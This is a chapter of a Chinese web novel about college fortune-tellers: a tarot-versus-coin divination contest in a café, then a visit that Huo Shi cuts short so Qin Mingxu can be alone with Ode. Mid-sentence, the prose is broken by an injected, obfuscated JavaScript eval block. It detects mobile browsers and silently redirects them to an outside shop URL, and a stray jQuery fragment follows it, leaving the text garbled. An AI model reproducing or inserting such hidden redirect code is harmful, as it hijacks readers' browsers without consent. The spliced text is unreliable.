虽说能提神,但禾邈不喜欢喝咖啡,他不喜欢所有苦味的东西。
钟鸣拿走两杯冰美式,他自己点了杯冰可可。
禾邈发完消息给霍什,打算给他点冰饮,看到菜单顿了一下,
他都不知道大块头喜欢喝什么呢。
禾邈怔愣这会儿,一杯咖啡放到他面前。
“这么有空,来跟我赌一把。”
“你是?”禾邈问。
他只觉得眼熟,但想不起来了。
“我有这么普通吗?”艾弗里坐到他面前,双手拉着他的小臂摇了摇,“弟弟,你要保护我哦。怎么样,想起来了没。”
禾邈才想起是摆摊那天的漂亮姐姐,
“是你呀,昨晚是你来找么?”
“对啊,等到门禁时间也没见你回来。”艾弗里说。
“你找我有什么事。”禾邈喝着可可,心想,大块头怎么还没来。
“跟我赌一局,”艾弗里铺开紫色方巾将一沓塔罗牌放上去,“你看到帖子了吧,我也是热门冠军选手哦。”
原来女占卜师是她,禾邈对西方占卜不了解,确实想比划比划,不过,
“赌注是什么?”
“如果我赢了,不管我问什么,你都要坦诚回答。”艾弗里说。
“不赌,大块头的事我不回答。”禾邈说。
他都不知道大块头喜欢什么呢,就算知道也不想说。
“跟他无关,你放心,”艾弗里见他在走神,又说,“如果你赢了,我退出通灵比赛怎么样?”
“不行!”禾邈说。
艾弗里轻笑一声,忍不住去摸他的发顶,
心想果然相由心生,他真是个有趣又善良的人呢。
还没摸到就被人捉住手腕,艾弗里痛得嘶了一声,看到霍什在禾邈身后,眼神阴沉地盯住他,
还没摸到呢,占有欲这么强。
看他这样,那就不得不碰他了。
艾弗里想去抓住禾邈的手,看霍什能拿他怎么样。
禾邈侧身看到霍什,“你来啦。”
霍什丢掉艾弗里的手。
禾邈把椅子拉近自己,拍拍坐垫,“快坐下。”
霍什挂起嘴角,才坐下禾邈就靠到他肩膀。
“如果我赢了,你答应我一件事就好,但我现在没想好,先欠着。”禾邈对艾弗里说。
艾弗里突然不想和他打赌了,这两人腻腻歪歪的秀,对他的眼睛很不友好。
但想到昨晚的事情,艾弗里又觉得也不是不能忍,他揉搓手腕说:“可以。”
“怎么赌?猜物品?”禾邈问。
“那多没意思,”艾弗里扫视周围,指着隔壁桌的空位,“待会不管谁坐在这里,我们就猜他的信息,谁猜中的多就赢。”
没有八字他很难算出个人信息。
西方占卜这么厉害?
那很有挑战性了,前世也试过不用八字卜算信息,只是不知道准不准,刚好这次来验证下。
“好啊。”禾邈坐直起来,解开红绳。
霍什拿走可可,把桌子擦干净。
周末来咖啡店的人比往常更多,空位没一会就坐满了。
隔壁桌刚有人坐下,他们就开始卜算。
艾弗里翻看几张塔罗牌后就停手了,看到禾邈还在转铜钱,他转身去拍了拍隔壁座位的人,
“同学我们俩在比赛,能请你当个裁判么?我们会猜关于你的信息,你判断下谁说得准。”
经过海选谁不知道他俩是比赛冠军热门人选,男同学目光在禾邈和艾弗里之间徘徊,饶有兴趣地说,
“好啊,不过,你们不管谁赢,都要给我免费占卜。”
“可以,”艾弗里收起塔罗牌,说,“如果是我赢的话。”
“嗯嗯,我也可以。”禾邈跟着说。
“谁先来?”艾弗里问。
禾邈看了眼男同学,说:“你想先听谁的?”
“那就你先说。”男同学说。
禾邈思考需卦的信息,片刻后说:“你喜欢热闹经常参加派对,还喜欢喝酒,最近你感觉到身体不适,但没去检查,建议你去看看哦。”
他摩挲铜钱,这些信息太浅显,还不能赢过对方。
卦象说他有学业上的麻烦。
禾邈环视一圈,看到远处走出图书馆拿着教材的人,灵光一闪,接着说:“你考试被说作弊,还在等判定结果,你不会受到很重惩罚。”
男同学听到喝酒参加聚会那些都没什么反应,他参加聚会经常发短视频,被同学看到也不奇怪,但是听到作弊的事情,他是很惊讶的。
他被污蔑作弊没有对外宣扬,基本只有老师和他亲近的朋友知道,没想到禾邈居然算出来。
男同学点点头,露出赞许的目光,扭头问艾弗里,
“你怎么说?”
“你爱喝啤酒,昨晚参加聚会问学妹要联系方式被拒绝,别人不喜欢你就不要强求了,”艾弗里吸一口拿铁润喉,继续说,“结果已经出来了,你现在就可以打电话问导师,他会给你口头警告。”
男同学离开座位,打电话问导师结果,表情从忐忑转为欣喜。
禾邈知道自己输了,撇了撇嘴,“你说吧,想问什么。”
“你舍友,最喜欢吃什么菜?”艾弗里说。
“辣椒炒肉。”禾邈说。
老钟有时间就做辣椒炒肉,挺好吃的。
“他喜欢做什么?”
“读书。”
老钟,图书馆毒唯第一人。
“他单身么?前任是男朋友或者女朋友?”
“单身,没见他谈过朋友。”
“那他喜欢什么类型?”
“温柔善良、爱笑的人吧。”
老钟和他看热血动漫,都喜欢这类型的女角色呢。
……
禾邈每回答一个问题,霍什就握紧他的手多一分。
禾邈觉得有点痛,反握住男人的手,轻拍他手背,这才松开些。
“你问老钟这么多事做什么?”禾邈问。
“当然是因为喜欢,要追求他啊,”艾弗里一脸看傻子的眼神,“很不明显吗?”
禾邈呆呆地点头。
男同学刚好回来,对他们说:“艾弗里说得更准确,我确实只收到口头警告。”
艾弗里?
禾邈寻思着艾弗里到现在也没说过自己名字。
“你什么时候给我占卜?”男同学问艾弗里。
“今天不行,明天吧。”艾弗里说。
“行,明天去找你。”男同学也没问联系方式就走了。
“你们认识?”禾邈问。
“嗯,他找过我占卜,”艾弗里收好塔罗牌,说,“昨晚拒绝他的人,就连老师,也是我的顾客。”
“所以你早就知道他的信息?”禾邈说。
咖啡厅多是本校学生光顾,很多人是他的顾客,艾弗里也没打算瞒禾邈,坦白道,
“嗯,我会和来占卜的人聊天,听他们倾诉,有些信息不用占卜我也知道,”艾弗里双手托着脸颊,笑着说:“人脉获取信息也很重要,可不能只会占卜啊,弟弟。”
见禾邈沉默,艾弗里又说,
“怎么,不服气?觉得我作弊?”
禾邈连忙摇头,说,“是觉得你很厉害,我也应该多跟人交流才是。”
艾弗里对他的回答感到意外,又觉得在情理之中,真是个好孩子呢。
在艾弗里看来东方人年龄都偏小,明知道禾邈和自己同岁,却不自觉把他当弟弟看。
艾弗里把手机推到他面前,“这是我的联系方式,有问题随时可以来找我,”艾弗里又补了句,“免费。”
“这是我的联系方式,”禾邈也把手机放到旁边,“你找我也免费。”
如果钟鸣在场,一定会忍不住吐槽,“在我们老家,管这种叫做交朋友。”
两人交换联系方式后,艾弗里的手机闹铃响起,他就要去食堂和钟鸣装偶遇了。
正巧秦明煦发消息给禾邈,问他要不要来吃饭。
上次给他的食材还没吃完,昨晚又给他打包了菜,他叫他们来一起吃,省得放坏了。
霍什跟禾邈走去公寓。
“你很了解钟鸣。”霍什问。
“毕竟我们住在一起嘛。”禾邈说。
见男人不走了,禾邈也停在原地,
对哦,他还不知道大块头喜欢什么呢。
禾邈站到霍什面前,仰着脑袋问他,
“所以,你最喜欢吃什么菜?”
禾邈透亮的眼睛里,映着霍什的影子。
霍什心里那团闷火,就这么被轻飘飘地浇灭了。
“所有好吃的肉菜。”霍什牵起他的手,捏了一下。
和自己一样喜欢吃肉呢。
禾邈回握住他,继续走,“你喜欢做什么?”
“照顾你。”霍什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830939|211327||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说。
禾邈垂下头,挠了挠鼻梁,
“哦,那你喜欢什么水果啊。”
“樱桃、树莓和草莓。”霍什说。
怎么他喜欢的和自己一样啊。
禾邈又问:“那你不喜欢什么?”
“你不认真吃饭,挑食,乱跟别人走,给别人号码,了解别人的喜好,跟别人接触……”霍什说。
“好了,好了!太多了我记不住。”禾邈捂住他嘴巴。
怎么都跟自己有关啊,自己哪有这么多毛病。
“你怎么不问我喜欢什么?”禾邈收回手。
“我都知道,”霍什看着他说,“你喜欢邈邈么?”
“喜欢!”禾邈说。
他当然喜欢自己啦,谁能像自己算卦这么厉害。
“我也喜欢。”霍什凝望禾邈的侧脸。
禾邈抓住他的手,笑眼弯弯地来回摇晃。
大块头也是喜欢他自己的人呢。
两人去到公寓,秦明煦就问起禾邈参赛的事情,之前他忙着筹划学校下个活动,还没来得及问禾邈情况。
聊到这个禾邈嘴巴就停不下来,从海选赢钱到今天输给艾弗里,通通说了一遍。
霍什就坐在旁边给他倒水、剥橘子。
秦明煦听他夸艾弗里,感觉他们关系挺好的,提议道:“下次约她吃饭聚聚呗。”
禾邈眼睛一亮,
对啊,下次约她来包饺子,这样自己就不是唯一不会包饺子的人了。
他们正聊到兴头上,门铃又响起来。
秦明煦去开门看是谁来,
“奥德?你怎么来了。”
“想见你啊。”奥德笑着说。
秦明煦心口猛地一跳,手指无意识地卷着发梢,他轻轻“哦”了一声,嘴角怎么也压不下来。
“你们也在啊。”奥德毫不掩饰语气里的失望。
房间不大,禾邈坐在客厅也能听到他们说话,他看到奥德直接穿鞋进屋,说,“你没换拖鞋。”
“啊?需要换鞋么?”奥德回头问秦明煦。
“没事,我也好久不拖地了。”秦明煦说。
地板干净到反光,禾邈心想,就这样还要拖地?那他们宿舍岂不是猪圈。
奥德坐到他们对面,秦明煦去给他洗杯子倒果汁。
“你喜欢橙汁吧。”秦明煦把一瓶刚开封的果汁放到桌上。
“谢谢,只有你记得我喜欢什么。”奥德说。
禾邈看见自己和霍什杯里的白开水,想着自己也想喝果汁呢。
“我也……”禾邈伸手去拿果汁。
霍什拉住他的手,“我们还有事,先走了。”
“?”禾邈看着大块头。
有什么事,他们不是来找明煦吃饭么。
听霍什这么说,秦明煦也愣住了,心里纠结要不要说些什么挽留他们。
霍什站起来,见禾邈神情懵懂,还不知道为什么要走。
霍什双手托住他腋下,将他抱起来。
禾邈习惯性地搂住他脖子,虽然不懂,但也乖乖地伏在霍什肩头。
不知道是不是错觉,他觉得明煦有点高兴。
为什么开心啊,不喜欢和我们吃饭么?
还是要吃独食?就这么好吃,还不能分给我们?
霍什还在给禾邈套鞋子,秦明煦过来小声说,“不好意思,下次再请你们吃饭。”
啊?还真是吃独食。
禾邈不乐意了,努努嘴,甩掉还没穿好的鞋子,
“我也要吃。”
秦明煦表情僵住,以为禾邈是怪他没留他们吃饭,
“好,我们一起吃。”
霍什捏住禾邈的小嘴,将他连鞋带人一起抱走,
“乖,我们出去再说。”
禾邈扁成鸭子嘴,两条腿在半空中胡乱蹬,就看着秦明煦一脸抱歉朝他摆摆手,他气得直哼哼。
他一路捶打着男人的肩膀,直到走出公寓,男人才松开他的嘴。
“为什么不能一起吃啊。”禾邈说。
霍什蹲下给他穿好鞋子,解释道:“秦明煦喜欢奥德,他们需要相处空间,”怕他不明白是哪种喜欢,又补了一句,“是恋人那种喜欢。”
“哦,喜欢就要吃饭啊。”禾邈说。
“是啊,你要和我吃饭么?”霍什牵起他的手。
禾邈望着他,嘴角一弯,笑意从眼底漾开,
“不要。”